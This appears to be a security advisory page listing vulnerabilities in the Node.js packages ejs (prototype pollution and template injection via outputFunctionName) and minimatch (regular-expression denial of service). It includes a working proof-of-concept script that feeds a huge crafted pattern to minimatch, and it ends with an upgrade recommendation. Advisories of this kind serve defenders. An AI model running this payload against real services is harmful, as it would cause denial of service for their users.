Version Details and Security Vulnerabilities

The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection.

The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.